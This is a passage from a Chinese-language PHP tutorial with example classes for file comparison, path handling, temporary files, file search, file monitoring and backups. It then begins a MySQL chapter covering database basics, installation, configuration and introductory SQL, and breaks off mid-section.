                'reason' => '文件大小不同',
                'size1' => $size1,
                'size2' => $size2
            ];
        }

        // 比较文件内容
        $content1 = file_get_contents($file1);
        $content2 = file_get_contents($file2);

        if ($content1 === $content2) {
            return [
                'identical' => true,
                'reason' => '文件完全相同'
            ];
        } else {
            // 找到第一个不同的位置
            $diffPosition = $this->findFirstDifference($content1, $content2);
            return [
                'identical' => false,
                'reason' => '文件内容不同',
                'first_diff_position' => $diffPosition
            ];
        }
    }

    // 找到第一个不同的位置
    private function findFirstDifference($str1, $str2) {
        $len = min(strlen($str1), strlen($str2));
        for ($i = 0; $i < $len; $i++) {
            if ($str1[$i] !== $str2[$i]) {
                return $i;
            }
        }
        return $len; // 字符串长度不同
    }

    // 显示文件差异
    public function showDiff($file1, $file2) {
        echo "<h3>文件差异比较</h3>";

        try {
            $result = $this->compareFiles($file1, $file2);

            echo "<p><strong>比较结果:</strong></p>";
            if ($result['identical']) {
                echo "<p style='color: green;'>✓ 文件完全相同</p>";
            } else {
                echo "<p style='color: red;'>✗ " . $result['reason'] . "</p>";

                if (isset($result['size1'])) {
                    echo "<p>文件1大小:{$result['size1']} 字节</p>";
                    echo "<p>文件2大小:{$result['size2']} 字节</p>";
                }

                if (isset($result['first_diff_position'])) {
                    echo "<p>第一个不同位置:第 {$result['first_diff_position']} 个字符</p>";
                }
            }

        } catch (Exception $e) {
            echo "<p style='color: red;'>错误:" . $e->getMessage() . "</p>";
        }
    }

    // 比较文件修改时间
    public function compareModificationTimes($file1, $file2) {
        if (!file_exists($file1) || !file_exists($file2)) {
            throw new Exception("文件不存在");
        }

        $time1 = filemtime($file1);
        $time2 = filemtime($file2);

        if ($time1 === $time2) {
            return 'same';
        } elseif ($time1 > $time2) {
            return 'newer';
        } else {
            return 'older';
        }
    }
}

// 使用示例
try {
    // 创建测试文件
    file_put_contents('test1.txt', "Hello World\nThis is a test file.");
    file_put_contents('test2.txt', "Hello World\nThis is a test file.");
    file_put_contents('test3.txt', "Hello World\nThis is a different file.");

    $comparator = new FileComparator();

    // 比较相同文件
    $comparator->showDiff('test1.txt', 'test2.txt');

    // 比较不同文件
    $comparator->showDiff('test1.txt', 'test3.txt');

    // 比较修改时间
    sleep(1); // 等待1秒
    file_put_contents('test1.txt', "Hello World\nThis is an updated file.");

    $timeComparison = $comparator->compareModificationTimes('test1.txt', 'test2.txt');
    echo "<p>修改时间比较:test1.txt 相对于 test2.txt 是 {$timeComparison}</p>";

    // 清理测试文件
    unlink('test1.txt');
    unlink('test2.txt');
    unlink('test3.txt');

} catch (Exception $e) {
    echo "错误:" . $e->getMessage();
}
?>

路径操作函数

1. 路径处理

<?php
// 路径处理演示类
class PathHandler {
    // 演示各种路径函数
    public function demonstratePathFunctions() {
        echo "<h3>路径处理函数演示</h3>";

        // 基本路径信息
        echo "<h4>基本路径信息</h4>";
        echo "当前工作目录:" . getcwd() . "<br>";
        echo "脚本文件路径:" . __FILE__ . "<br>";
        echo "脚本目录:" . __DIR__ . "<br>";
        echo "目录分隔符:" . DIRECTORY_SEPARATOR . "<br>";
        echo "路径分隔符:" . PATH_SEPARATOR . "<br>";

        // 路径组合
        echo "<h4>路径组合</h4>";
        $parts = ['home', 'user', 'documents', 'file.txt'];
        $path = implode(DIRECTORY_SEPARATOR, $parts);
        echo "组合路径:" . $path . "<br>";

        // 不同系统的路径规范化
        echo "<h4>路径规范化</h4>";
        $paths = [
            '/var/www/../html/index.php',
            'C:\\Users\\..\\Documents\\file.txt',
            './config/../data/file.txt',
            'folder/subfolder/../../file.txt'
        ];

        foreach ($paths as $path) {
            $normalized = $this->normalizePath($path);
            echo "原始路径:" . htmlspecialchars($path) . "<br>";
            echo "规范化路径:" . htmlspecialchars($normalized) . "<br>";
            echo "<hr>";
        }
    }

    // 路径规范化函数
    private function normalizePath($path) {
        // 替换反斜杠为正斜杠(便于处理)
        $path = str_replace('\\', '/', $path);

        // 分割路径
        $parts = explode('/', $path);
        $normalized = [];

        foreach ($parts as $part) {
            if ($part === '' || $part === '.') {
                continue;
            } elseif ($part === '..') {
                if (!empty($normalized)) {
                    array_pop($normalized);
                }
            } else {
                $normalized[] = $part;
            }
        }

        // 处理绝对路径
        if (strpos($path, '/') === 0) {
            return '/' . implode(DIRECTORY_SEPARATOR, $normalized);
        } else {
            return implode(DIRECTORY_SEPARATOR, $normalized);
        }
    }

    // 相对路径转绝对路径
    public function relativeToAbsolute($relativePath) {
        if (DIRECTORY_SEPARATOR === '\\') {
            // Windows系统
            if (preg_match('/^[A-Za-z]:/', $relativePath)) {
                return $relativePath; // 已经是绝对路径
            }
        } else {
            // Unix系统
            if ($relativePath[0] === '/') {
                return $relativePath; // 已经是绝对路径
            }
        }

        // 相对于当前工作目录
        return getcwd() . DIRECTORY_SEPARATOR . $relativePath;
    }

    // 获取相对路径
    public function getRelativePath($from, $to) {
        $from = $this->normalizePath($from);
        $to = $this->normalizePath($to);

        $fromParts = explode(DIRECTORY_SEPARATOR, $from);
        $toParts = explode(DIRECTORY_SEPARATOR, $to);

        // 找到共同的前缀
        $commonLength = 0;
        $minLength = min(count($fromParts), count($toParts));

        for ($i = 0; $i < $minLength; $i++) {
            if ($fromParts[$i] === $toParts[$i]) {
                $commonLength++;
            } else {
                break;
            }
        }

        // 计算需要返回的层级
        $upCount = count($fromParts) - $commonLength;
        $relativeParts = array_fill(0, $upCount, '..');

        // 添加目标路径的剩余部分
        $remainingParts = array_slice($toParts, $commonLength);
        $relativeParts = array_merge($relativeParts, $remainingParts);

        if (empty($relativeParts)) {
            return '.';
        }

        return implode(DIRECTORY_SEPARATOR, $relativeParts);
    }

    // 演示相对路径计算
    public function demonstrateRelativePaths() {
        echo "<h3>相对路径计算</h3>";

        $examples = [
            ['/home/user/documents', '/home/user/pictures/file.jpg'],
            ['/var/www/html', '/var/www/html/css/style.css'],
            ['/home/user/project/src', '/home/user/project/tests/test.php'],
        ];

        foreach ($examples as $example) {
            $from = $example[0];
            $to = $example[1];
            $relative = $this->getRelativePath($from, $to);

            echo "从:<strong>" . htmlspecialchars($from) . "</strong><br>";
            echo "到:<strong>" . htmlspecialchars($to) . "</strong><br>";
            echo "相对路径:<code>" . htmlspecialchars($relative) . "</code><br>";
            echo "<hr>";
        }
    }
}

// 使用示例
$pathHandler = new PathHandler();
$pathHandler->demonstratePathFunctions();
echo "<hr>";
$pathHandler->demonstrateRelativePaths();
?>

2. 临时文件处理

<?php
// 临时文件处理类
class TempFileManager {
    private $tempFiles = [];

    // 创建临时文件
    public function createTempFile($prefix = 'tmp', $suffix = '') {
        $tempDir = sys_get_temp_dir();
        $tempFile = tempnam($tempDir, $prefix);

        if ($tempFile === false) {
            throw new Exception("无法创建临时文件");
        }

        // 添加后缀
        if ($suffix !== '') {
            $tempFileWithSuffix = $tempFile . $suffix;
            rename($tempFile, $tempFileWithSuffix);
            $tempFile = $tempFileWithSuffix;
        }

        $this->tempFiles[] = $tempFile;
        return $tempFile;
    }

    // 创建临时目录
    public function createTempDir($prefix = 'tmp') {
        $tempDir = sys_get_temp_dir();
        $tempFile = tempnam($tempDir, $prefix);

        if ($tempFile === false) {
            throw new Exception("无法创建临时文件/目录");
        }

        // 删除临时文件并创建目录
        unlink($tempFile);
        if (mkdir($tempFile, 0755)) {
            $this->tempFiles[] = $tempFile;
            return $tempFile;
        } else {
            throw new Exception("无法创建临时目录");
        }
    }

    // 演示临时文件用法
    public function demonstrateTempFiles() {
        echo "<h3>临时文件管理演示</h3>";

        try {
            // 创建临时文件
            $tempFile = $this->createTempFile('myapp_', '.log');
            echo "创建临时文件:" . htmlspecialchars($tempFile) . "<br>";

            // 写入内容
            $content = "这是一条日志记录\n时间:" . date('Y-m-d H:i:s') . "\n";
            file_put_contents($tempFile, $content);
            echo "写入内容成功<br>";

            // 读取内容
            $readContent = file_get_contents($tempFile);
            echo "读取内容:<pre>" . htmlspecialchars($readContent) . "</pre>";

            // 创建临时目录
            $tempDir = $this->createTempDir('myapp_');
            echo "创建临时目录:" . htmlspecialchars($tempDir) . "<br>";

            // 在临时目录中创建文件
            $subFile = $tempDir . DIRECTORY_SEPARATOR . 'data.txt';
            file_put_contents($subFile, "临时目录中的数据文件");
            echo "在临时目录中创建文件:" . htmlspecialchars($subFile) . "<br>";

            // 列出临时目录内容
            $files = scandir($tempDir);
            echo "临时目录内容:<ul>";
            foreach ($files as $file) {
                if ($file !== '.' && $file !== '..') {
                    echo "<li>" . htmlspecialchars($file) . "</li>";
                }
            }
            echo "</ul>";

        } catch (Exception $e) {
            echo "错误:" . $e->getMessage();
        }
    }

    // 清理所有临时文件
    public function cleanup() {
        foreach ($this->tempFiles as $path) {
            if (is_file($path)) {
                unlink($path);
            } elseif (is_dir($path)) {
                $this->deleteDirectory($path);
            }
        }
        $this->tempFiles = [];
        echo "临时文件清理完成<br>";
    }

    // 递归删除目录
    private function deleteDirectory($dir) {
        if (!is_dir($dir)) {
            return;
        }

        $files = scandir($dir);
        foreach ($files as $file) {
            if ($file === '.' || $file === '..') {
                continue;
            }

            $path = $dir . DIRECTORY_SEPARATOR . $file;
            if (is_dir($path)) {
                $this->deleteDirectory($path);
            } else {
                unlink($path);
            }
        }

        rmdir($dir);
    }

    // 获取临时文件列表
    public function getTempFiles() {
        return $this->tempFiles;
    }
}

// 使用示例
$tempManager = new TempFileManager();
$tempManager->demonstrateTempFiles();

echo "<h4>创建的临时文件:</h4>";
$tempFiles = $tempManager->getTempFiles();
foreach ($tempFiles as $file) {
    echo "- " . htmlspecialchars($file) . " (" . (is_dir($file) ? "目录" : "文件") . ")<br>";
}

// 演示清理(实际应用中可能在脚本结束时自动清理)
echo "<h4>清理临时文件:</h4>";
$tempManager->cleanup();
?>

文件系统工具函数

1. 文件查找和搜索

<?php
// 文件搜索工具类
class FileSearcher {
    private $results;
    private $searchStats;

    public function __construct() {
        $this->results = [];
        $this->searchStats = [
            'files_searched' => 0,
            'dirs_searched' => 0,
            'matches_found' => 0,
            'start_time' => 0,
            'end_time' => 0
        ];
    }

    // 按文件名搜索
    public function searchByName($directory, $pattern, $recursive = true, $caseSensitive = false) {
        $this->resetStats();
        $this->searchStats['start_time'] = microtime(true);

        $this->searchByNameRecursive($directory, $pattern, $recursive, $caseSensitive);

        $this->searchStats['end_time'] = microtime(true);
        return $this->results;
    }

    private function searchByNameRecursive($directory, $pattern, $recursive, $caseSensitive) {
        if (!is_dir($directory)) {
            return;
        }

        $this->searchStats['dirs_searched']++;
        $items = scandir($directory);

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            $path = $directory . DIRECTORY_SEPARATOR . $item;

            if (is_file($path)) {
                $this->searchStats['files_searched']++;

                $filename = $caseSensitive ? $item : strtolower($item);
                $searchPattern = $caseSensitive ? $pattern : strtolower($pattern);

                if ($this->matchesPattern($filename, $searchPattern)) {
                    $this->results[] = [
                        'path' => $path,
                        'name' => $item,
                        'size' => filesize($path),
                        'modified' => filemtime($path),
                        'match_type' => 'filename'
                    ];
                    $this->searchStats['matches_found']++;
                }
            } elseif (is_dir($path) && $recursive) {
                $this->searchByNameRecursive($path, $pattern, $recursive, $caseSensitive);
            }
        }
    }

    // 按内容搜索
    public function searchByContent($directory, $contentPattern, $fileExtensions = [], $recursive = true) {
        $this->resetStats();
        $this->searchStats['start_time'] = microtime(true);

        $this->searchByContentRecursive($directory, $contentPattern, $fileExtensions, $recursive);

        $this->searchStats['end_time'] = microtime(true);
        return $this->results;
    }

    private function searchByContentRecursive($directory, $contentPattern, $fileExtensions, $recursive) {
        if (!is_dir($directory)) {
            return;
        }

        $this->searchStats['dirs_searched']++;
        $items = scandir($directory);

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            $path = $directory . DIRECTORY_SEPARATOR . $item;

            if (is_file($path)) {
                $this->searchStats['files_searched']++;

                // 检查文件扩展名
                if (!empty($fileExtensions)) {
                    $extension = strtolower(pathinfo($path, PATHINFO_EXTENSION));
                    if (!in_array($extension, $fileExtensions)) {
                        continue;
                    }
                }

                // 搜索文件内容
                if ($this->searchFileContent($path, $contentPattern)) {
                    $this->results[] = [
                        'path' => $path,
                        'name' => $item,
                        'size' => filesize($path),
                        'modified' => filemtime($path),
                        'match_type' => 'content'
                    ];
                    $this->searchStats['matches_found']++;
                }
            } elseif (is_dir($path) && $recursive) {
                $this->searchByContentRecursive($path, $contentPattern, $fileExtensions, $recursive);
            }
        }
    }

    // 搜索文件内容
    private function searchFileContent($filePath, $pattern) {
        $handle = fopen($filePath, 'r');
        if (!$handle) {
            return false;
        }

        while (($line = fgets($handle)) !== false) {
            if (stripos($line, $pattern) !== false) {
                fclose($handle);
                return true;
            }
        }

        fclose($handle);
        return false;
    }

    // 模式匹配
    private function matchesPattern($filename, $pattern) {
        // 支持通配符匹配
        if (strpos($pattern, '*') !== false || strpos($pattern, '?') !== false) {
            return fnmatch($pattern, $filename);
        } else {
            // 简单字符串包含匹配
            return strpos($filename, $pattern) !== false;
        }
    }

    // 重置统计信息
    private function resetStats() {
        $this->results = [];
        $this->searchStats = [
            'files_searched' => 0,
            'dirs_searched' => 0,
            'matches_found' => 0,
            'start_time' => 0,
            'end_time' => 0
        ];
    }

    // 获取搜索统计
    public function getSearchStats() {
        $duration = $this->searchStats['end_time'] - $this->searchStats['start_time'];
        $this->searchStats['duration'] = round($duration, 4);
        return $this->searchStats;
    }

    // 显示搜索结果
    public function displayResults() {
        echo "<h3>搜索结果</h3>";

        $stats = $this->getSearchStats();
        echo "<p>搜索统计:</p>";
        echo "<ul>";
        echo "<li>搜索的目录:{$stats['dirs_searched']}</li>";
        echo "<li>搜索的文件:{$stats['files_searched']}</li>";
        echo "<li>找到的匹配:{$stats['matches_found']}</li>";
        echo "<li>耗时:{$stats['duration']} 秒</li>";
        echo "</ul>";

        if (!empty($this->results)) {
            echo "<h4>匹配的文件:</h4>";
            echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
            echo "<tr><th>文件名</th><th>路径</th><th>大小</th><th>修改时间</th><th>匹配类型</th></tr>";

            foreach ($this->results as $result) {
                $size = $this->formatBytes($result['size']);
                $modified = date('Y-m-d H:i:s', $result['modified']);
                $matchType = $result['match_type'] === 'filename' ? '文件名' : '内容';

                echo "<tr>";
                echo "<td>" . htmlspecialchars($result['name']) . "</td>";
                echo "<td>" . htmlspecialchars($result['path']) . "</td>";
                echo "<td>{$size}</td>";
                echo "<td>{$modified}</td>";
                echo "<td>{$matchType}</td>";
                echo "</tr>";
            }

            echo "</table>";
        } else {
            echo "<p>没有找到匹配的文件。</p>";
        }
    }

    // 格式化字节大小
    private function formatBytes($bytes) {
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];
        $bytes = max(0, $bytes);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);

        $bytes /= pow(1024, $pow);
        return round($bytes, 2) . ' ' . $units[$pow];
    }
}

// 使用示例
$searcher = new FileSearcher();

// 搜索当前目录下所有.php文件
echo "<h2>文件搜索演示</h2>";

echo "<h3>搜索PHP文件:</h3>";
$phpFiles = $searcher->searchByName('.', '*.php', true);
$searcher->displayResults();

echo "<hr>";

echo "<h3>搜索包含'function'的文本文件:</h3>";
$textFiles = $searcher->searchByContent('.', 'function', ['txt', 'php', 'md'], true);
$searcher->displayResults();
?>

2. 文件系统监控

<?php
// 文件系统监控类(简单实现)
class FileSystemMonitor {
    private $watchedFiles;
    private $lastModified;

    public function __construct() {
        $this->watchedFiles = [];
        $this->lastModified = [];
    }

    // 添加监控文件
    public function watchFile($filePath) {
        if (file_exists($filePath)) {
            $this->watchedFiles[] = $filePath;
            $this->lastModified[$filePath] = filemtime($filePath);
            return true;
        }
        return false;
    }

    // 检查文件变化
    public function checkChanges() {
        $changes = [];

        foreach ($this->watchedFiles as $file) {
            if (!file_exists($file)) {
                $changes[] = [
                    'file' => $file,
                    'type' => 'deleted',
                    'timestamp' => time()
                ];
                unset($this->lastModified[$file]);
                continue;
            }

            $currentModified = filemtime($file);
            $lastModified = $this->lastModified[$file] ?? 0;

            if ($currentModified > $lastModified) {
                $changes[] = [
                    'file' => $file,
                    'type' => 'modified',
                    'timestamp' => $currentModified,
                    'old_time' => $lastModified,
                    'new_time' => $currentModified
                ];
                $this->lastModified[$file] = $currentModified;
            }
        }

        return $changes;
    }

    // 获取监控状态
    public function getWatchStatus() {
        $status = [];
        foreach ($this->watchedFiles as $file) {
            if (file_exists($file)) {
                $status[] = [
                    'file' => $file,
                    'exists' => true,
                    'size' => filesize($file),
                    'modified' => date('Y-m-d H:i:s', filemtime($file)),
                    'last_check' => $this->lastModified[$file] ? date('Y-m-d H:i:s', $this->lastModified[$file]) : '未知'
                ];
            } else {
                $status[] = [
                    'file' => $file,
                    'exists' => false,
                    'last_check' => $this->lastModified[$file] ? date('Y-m-d H:i:s', $this->lastModified[$file]) : '未知'
                ];
            }
        }
        return $status;
    }

    // 显示监控状态
    public function displayStatus() {
        $status = $this->getWatchStatus();

        echo "<h3>文件监控状态</h3>";
        echo "<table border='1' style='border-collapse: collapse;'>";
        echo "<tr><th>文件</th><th>状态</th><th>大小</th><th>修改时间</th><th>上次检查</th></tr>";

        foreach ($status as $info) {
            echo "<tr>";
            echo "<td>" . htmlspecialchars($info['file']) . "</td>";
            echo "<td>" . ($info['exists'] ? '✓ 存在' : '✗ 不存在') . "</td>";
            echo "<td>" . ($info['exists'] ? $this->formatBytes($info['size']) : '-') . "</td>";
            echo "<td>" . ($info['exists'] ? $info['modified'] : '-') . "</td>";
            echo "<td>" . $info['last_check'] . "</td>";
            echo "</tr>";
        }

        echo "</table>";
    }

    // 显示变化
    public function displayChanges($changes) {
        if (empty($changes)) {
            echo "<p>没有检测到文件变化。</p>";
            return;
        }

        echo "<h3>文件变化</h3>";
        foreach ($changes as $change) {
            $file = htmlspecialchars($change['file']);
            $time = date('Y-m-d H:i:s', $change['timestamp']);

            if ($change['type'] === 'modified') {
                echo "<p>📝 文件已修改:{$file} (时间: {$time})</p>";
            } elseif ($change['type'] === 'deleted') {
                echo "<p>🗑️ 文件已删除:{$file} (时间: {$time})</p>";
            }
        }
    }

    // 格式化字节大小
    private function formatBytes($bytes) {
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];
        $bytes = max(0, $bytes);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);

        $bytes /= pow(1024, $pow);
        return round($bytes, 2) . ' ' . $units[$pow];
    }
}

// 使用示例
$monitor = new FileSystemMonitor();

// 创建一些测试文件
file_put_contents('monitor_test1.txt', 'Initial content 1');
file_put_contents('monitor_test2.txt', 'Initial content 2');

// 添加文件到监控
$monitor->watchFile('monitor_test1.txt');
$monitor->watchFile('monitor_test2.txt');
$monitor->watchFile('nonexistent_file.txt');

echo "<h2>文件系统监控演示</h2>";

// 显示初始状态
$monitor->displayStatus();

echo "<h3>检查文件变化:</h3>";
$changes = $monitor->checkChanges();
$monitor->displayChanges($changes);

echo "<hr>";

// 修改文件
echo "<h3>修改文件后重新检查:</h3>";
sleep(1); // 确保时间戳不同
file_put_contents('monitor_test1.txt', 'Modified content 1');

$changes = $monitor->checkChanges();
$monitor->displayChanges($changes);

// 显示更新后的状态
echo "<hr>";
$monitor->displayStatus();

// 清理测试文件
unlink('monitor_test1.txt');
unlink('monitor_test2.txt');
?>

实用工具类

1. 文件备份工具

<?php
// 文件备份工具类
class FileBackupTool {
    private $backupDir;
    private $maxBackups;
    private $compressionEnabled;

    public function __construct($backupDir = 'backups', $maxBackups = 10, $compressionEnabled = false) {
        $this->backupDir = $backupDir;
        $this->maxBackups = $maxBackups;
        $this->compressionEnabled = $compressionEnabled;

        if (!is_dir($this->backupDir)) {
            mkdir($this->backupDir, 0755, true);
        }
    }

    // 备份单个文件
    public function backupFile($filePath, $description = '') {
        if (!file_exists($filePath)) {
            throw new Exception("源文件不存在:{$filePath}");
        }

        $filename = basename($filePath);
        $timestamp = date('Y-m-d_H-i-s');
        $backupName = $filename . '_' . $timestamp;

        if ($this->compressionEnabled) {
            $backupName .= '.gz';
            $backupPath = $this->backupDir . DIRECTORY_SEPARATOR . $backupName;

            // 使用gzip压缩
            $source = fopen($filePath, 'rb');
            $destination = gzopen($backupPath, 'wb9');

            while (!feof($source)) {
                $chunk = fread($source, 8192);
                gzwrite($destination, $chunk);
            }

            fclose($source);
            gzclose($destination);
        } else {
            $backupPath = $this->backupDir . DIRECTORY_SEPARATOR . $backupName;
            copy($filePath, $backupPath);
        }

        // 创建备份信息文件
        $info = [
            'original_path' => $filePath,
            'backup_path' => $backupPath,
            'timestamp' => time(),
            'description' => $description,
            'size' => filesize($filePath),
            'compressed' => $this->compressionEnabled,
            'md5' => md5_file($filePath)
        ];

        $infoFile = $backupPath . '.info';
        file_put_contents($infoFile, serialize($info));

        // 清理旧备份
        $this->cleanupOldBackups($filename);

        return $backupPath;
    }

    // 备份目录
    public function backupDirectory($dirPath, $description = '') {
        if (!is_dir($dirPath)) {
            throw new Exception("目录不存在:{$dirPath}");
        }

        $dirname = basename($dirPath);
        $timestamp = date('Y-m-d_H-i-s');
        $backupName = $dirname . '_' . $timestamp . '.tar';

        if ($this->compressionEnabled) {
            $backupName .= '.gz';
        }

        $backupPath = $this->backupDir . DIRECTORY_SEPARATOR . $backupName;

        // 创建tar压缩包
        $phar = new PharData($backupPath . '.temp');
        $phar->buildFromDirectory($dirPath);

        if ($this->compressionEnabled) {
            $phar->compress(Phar::GZ);
            unlink($backupPath . '.temp');
            $backupPath .= '.gz';
        } else {
            rename($backupPath . '.temp', $backupPath);
        }

        // 创建备份信息
        $info = [
            'original_path' => $dirPath,
            'backup_path' => $backupPath,
            'timestamp' => time(),
            'description' => $description,
            'type' => 'directory',
            'compressed' => $this->compressionEnabled
        ];

        $infoFile = $backupPath . '.info';
        file_put_contents($infoFile, serialize($info));

        return $backupPath;
    }

    // 列出所有备份
    public function listBackups() {
        $backups = [];
        $files = scandir($this->backupDir);

        foreach ($files as $file) {
            if ($file === '.' || $file === '..' || substr($file, -5) === '.info') {
                continue;
            }

            $backupPath = $this->backupDir . DIRECTORY_SEPARATOR . $file;
            $infoFile = $backupPath . '.info';

            $backup = [
                'name' => $file,
                'path' => $backupPath,
                'size' => filesize($backupPath),
                'created' => filemtime($backupPath)
            ];

            if (file_exists($infoFile)) {
                $info = unserialize(file_get_contents($infoFile));
                $backup = array_merge($backup, $info);
            }

            $backups[] = $backup;
        }

        // 按创建时间排序
        usort($backups, function($a, $b) {
            return $b['created'] - $a['created'];
        });

        return $backups;
    }

    // 清理旧备份
    private function cleanupOldBackups($filename) {
        $backups = $this->listBackups();

        // 筛选出相同原始文件的备份
        $fileBackups = [];
        foreach ($backups as $backup) {
            if (isset($backup['original_path']) && basename($backup['original_path']) === $filename) {
                $fileBackups[] = $backup;
            }
        }

        // 如果备份数量超过限制,删除最旧的
        if (count($fileBackups) > $this->maxBackups) {
            $toDelete = array_slice($fileBackups, $this->maxBackups);
            foreach ($toDelete as $backup) {
                unlink($backup['path']);
                if (file_exists($backup['path'] . '.info')) {
                    unlink($backup['path'] . '.info');
                }
            }
        }
    }

    // 显示备份列表
    public function displayBackups() {
        $backups = $this->listBackups();

        echo "<h3>备份列表</h3>";

        if (empty($backups)) {
            echo "<p>没有找到备份文件。</p>";
            return;
        }

        echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
        echo "<tr><th>原始文件</th><th>备份名称</th><th>大小</th><th>创建时间</th><th>描述</th><th>操作</th></tr>";

        foreach ($backups as $backup) {
            $size = $this->formatBytes($backup['size']);
            $created = date('Y-m-d H:i:s', $backup['created']);
            $original = isset($backup['original_path']) ? basename($backup['original_path']) : '未知';
            $description = isset($backup['description']) ? htmlspecialchars($backup['description']) : '';

            echo "<tr>";
            echo "<td>{$original}</td>";
            echo "<td>" . htmlspecialchars($backup['name']) . "</td>";
            echo "<td>{$size}</td>";
            echo "<td>{$created}</td>";
            echo "<td>{$description}</td>";
            echo "<td><a href='?restore=" . urlencode($backup['path']) . "'>恢复</a></td>";
            echo "</tr>";
        }

        echo "</table>";
    }

    // 格式化字节大小
    private function formatBytes($bytes) {
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];
        $bytes = max(0, $bytes);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);

        $bytes /= pow(1024, $pow);
        return round($bytes, 2) . ' ' . $units[$pow];
    }
}

// 使用示例
$backupTool = new FileBackupTool('file_backups', 5, false);

// 创建测试文件
file_put_contents('backup_demo.txt', "这是一个演示文件\n用于测试备份功能\n包含一些测试数据");

try {
    // 备份文件
    echo "<h2>文件备份工具演示</h2>";

    $backupPath = $backupTool->backupFile('backup_demo.txt', '初始备份');
    echo "<p>文件备份完成:" . htmlspecialchars($backupPath) . "</p>";

    // 修改文件后再次备份
    sleep(1);
    file_put_contents('backup_demo.txt', "这是修改后的文件内容\n添加了新的数据");
    $backupPath2 = $backupTool->backupFile('backup_demo.txt', '修改后备份');
    echo "<p>修改后备份完成:" . htmlspecialchars($backupPath2) . "</p>";

    // 显示备份列表
    $backupTool->displayBackups();

    // 清理
    unlink('backup_demo.txt');

} catch (Exception $e) {
    echo "备份错误:" . $e->getMessage();
}
?>

总结

文件系统函数是PHP编程中的重要组成部分,通过本节学习,你应该掌握:

关键知识点:

  1. 文件信息获取

    • file_exists(), is_file(), is_dir() 等检查函数
    • filesize(), filemtime(), fileperms() 等属性函数
    • pathinfo() 用于路径分解
  2. 路径操作

    • dirname(), basename() 用于路径处理
    • realpath() 获取真实路径
    • 临时文件和目录的创建
  3. 实用工具

    • 文件搜索和查找
    • 文件比较和差异检测
    • 文件系统监控
    • 自动备份工具
  4. 最佳实践

    • 始终检查文件操作的结果
    • 正确处理文件权限
    • 合理使用临时文件
    • 及时清理不需要的文件

这些函数和技巧将帮助你在实际开发中更有效地处理文件系统相关的任务。

第10章:MySQL 数据库基础

数据库是现代Web应用的核心组件,它负责存储、管理和检索应用程序数据。MySQL作为最受欢迎的开源关系型数据库管理系统,是PHP开发者的首选数据库之一。

学习目标

完成本章学习后,你将能够:

  • 理解数据库的基本概念和关系模型
  • 掌握MySQL数据库的安装和配置
  • 熟练使用SQL语言进行数据操作
  • 设计合理的数据库表结构
  • 理解数据库索引和性能优化基础
  • 掌握PHP与MySQL的连接方法
  • 能够创建和管理简单的数据库应用

本章内容概览

数据库基本概念

什么是数据库?

数据库(Database)是按照数据结构来组织、存储和管理数据的仓库。它是一个长期存储在计算机内、有组织的、可共享的大量数据的集合。

关系型数据库的特点

关系型数据库基于关系模型来组织数据,具有以下特点:

  1. 数据以表格形式存储:数据存储在二维表中
  2. 表之间的关系:通过键值建立表之间的关联
  3. ACID特性:保证事务的原子性、一致性、隔离性和持久性
  4. SQL标准:使用标准化的查询语言

核心概念

-- 数据库:存储数据的容器
CREATE DATABASE myapp;

-- 表:数据的结构化存储
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL,
    email VARCHAR(100) UNIQUE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- 记录:表中的一行数据
INSERT INTO users (username, email) VALUES ('john_doe', 'john@example.com');

-- 字段:表中的一列
SELECT username, email FROM users;

数据库设计原则

1. 实体-关系模型

实体(Entity):现实世界中的对象 属性(Attribute):实体的特征 关系(Relationship):实体之间的联系

2. 范式化

  • 第一范式(1NF):字段不可再分
  • 第二范式(2NF):满足1NF,非主键字段完全依赖于主键
  • 第三范式(3NF):满足2NF,非主键字段不传递依赖于主键

MySQL安装与配置

1. Windows安装

# 下载MySQL安装包
# 访问 https://dev.mysql.com/downloads/mysql/

# 使用MySQL Installer安装
# 配置root密码
# 启动MySQL服务
net start mysql80

2. Linux安装(Ubuntu/Debian)

# 更新包管理器
sudo apt update

# 安装MySQL服务器
sudo apt install mysql-server

# 启动MySQL服务
sudo systemctl start mysql
sudo systemctl enable mysql

# 安全配置
sudo mysql_secure_installation

3. macOS安装

# 使用Homebrew安装
brew install mysql

# 启动MySQL服务
brew services start mysql

# 设置root密码
mysqladmin -u root password 'your_password'

4. 基本配置

# /etc/mysql/mysql.conf.d/mysqld.cnf

[mysqld]
# 设置默认字符集
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci

# 设置端口
port = 3306

# 设置最大连接数
max_connections = 100

# 设置查询缓存
query_cache_type = 1
query_cache_size = 16M

# 设置InnoDB缓冲池
innodb_buffer_pool_size = 128M

5. 连接MySQL

# 命令行连接
mysql -u username -p -h hostname database_name

# 连接示例
mysql -u root -p -h localhost mysql

# 查看数据库列表
SHOW DATABASES;

# 退出MySQL
EXIT;

SQL语言基础

SQL(Structured Query Language)是用于管理关系数据库的标准语言。

SQL的分类

  1. DDL(数据定义语言):CREATE, ALTER, DROP
  2. DML(数据操作语言):INSERT, UPDATE, DELETE
  3. DQL(数据查询语言):SELECT
  4. DCL(数据控制语言):GRANT, REVOKE
  5. TCL(事务控制语言):COMMIT, ROLLBACK, SAVEPOINT

基本语法规则

-- SQL注释:使用双横线
/*
   多行注释
   使用斜杠星号
*/

-- 关键字大写,表名和字段名小写(推荐)
SELECT * FROM users WHERE id = 1;

-- 语句以分号结尾
INSERT INTO users (username) VALUES ('john');

-- 字符串使用单引号
SELECT * FROM users WHERE name = 'John Doe';

-- 数值不需要引号
SELECT * FROM users WHERE age > 18;

数据库和表的管理

1. 数据库操作

-- 创建数据库
CREATE DATABASE myapp CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

-- 查看所有数据库
SHOW DATABASES;

-- 选择数据库
USE myapp;

-- 删除数据库
DROP DATABASE myapp;

-- 修改数据库字符集
